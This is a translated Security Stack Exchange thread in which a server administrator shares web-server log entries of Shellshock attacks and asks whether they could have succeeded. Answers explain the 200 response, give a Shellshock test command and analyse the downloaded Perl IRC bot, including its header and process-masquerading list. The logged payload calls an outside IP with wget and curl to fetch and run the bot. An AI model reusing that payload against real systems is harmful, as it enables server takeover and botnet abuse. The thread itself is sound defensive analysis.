通过查看我的web服务器日志,我注意到服务器上有两种不同的ShellShock攻击,这两种攻击都生成了HTTP200OK响应代码。它们看起来如下(IP地址/日期和时间编辑):
223.252.35.159 - - [************] "GET / HTTP/1.1" 200 2203 "() { :;}; /bin/bash -c \"echo [IP_ADDRESS]/ ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den;cd /var/spool/samba/;wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den; echo \"" "() { :;}; /bin/bash -c \"echo [IP_ADDRESS]/ ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den;cd /var/spool/samba/;wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den; echo \""我的bash版本是4.2.37,我们通过apt-get update && apt-get dist-upgrade和日志文件分析定期更新这个服务器。正在使用Apache2.2.22,并且只有端口80是打开的。下载的文件似乎是一个IRC脚本,我只能想象它在这种情况下被用于洪水泛滥的目的。
尝试运行x='() { :;}; echo VULNERABLE' bash -c : (从是否有一个简短的命令来测试我的服务器对休克bash错误是否安全?)只返回从SSH终端运行的ps -p $$,显示当前正在使用的bash。
问题是,在上述情况下,这种利用是否可能奏效?
发布于 2015-06-14 05:07:54
光从日志文件中无法判断。"200 OK“响应只意味着您的The服务器正在运行,并且在"/”有一个索引页--这对世界上几乎每个the服务器都是正确的。
如果x='() { :;}; echo VULNERABLE' bash -c :不打印单词VULNERABLE,那么您几乎肯定不会受到攻击。
发布于 2015-06-14 07:33:16
这是一个古老的perl irc机器人:
... ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;c...
在我写这篇文章的时候,我已经做了wget和一些检查:
cd /tmp
wget 85.214.60.234/den
sed -e 's/^\(.\{78\}\).*/\1/;12q' den
#!/usr/bin/perl
##############################################################################
##############################################################################
## JST Perl IrcBot v3.0 / 2011 by FrankBlack @ Millenium Group ## [ Help ] ###
## Stealth MultiFunctional IrcBot writen in Perl ###############
## Teste on every system with PERL instlled ## !u @system
## ## !u @version
## This is a free program used on your own risk. ## !u @channel
## Created for educational purpose only. ## !u @flood
## I'm not responsible for the illegal use of this program. ## !u @utils
##############################################################################这个旧的脚本通过外部IRC服务器在远程控制下做一些自我隐藏和很多事情。
我已经编写了一个不完美的DDos Perl IrcBot杀手,它可以很好地处理这个版本。
看看我脚本的第61行和第62行:
61 m+^(/usr)?(/local)?(/s?bin)?[\[/]?(http|ssh|apache|syslog|cron|klog|kblockd|khelper|kmpathd|ksoftirqd|acpi|sync|-)+;
62 # m+^(/usr)?(/local)?(/s?bin)?[\[/]?([a-z0-9-]\+)+;和den版本的第31行到第38行:
31 my @rps = ("/usr/local/apache/bin/httpd -DSSL",
32 "/usr/sbin/httpd -k start -DSSL",
33 "/usr/sbin/httpd",
34 "/usr/sbin/apache2 -k start",
35 "/sbin/syslogd",
36 "/sbin/klogd -c 1 -x -x",
37 "/usr/sbin/acpid",
38 "/usr/sbin/cron");所以我可以确保(今天),我的脚本会找到并杀死这种病毒。
https://security.stackexchange.com/questions/91590
复制相似问题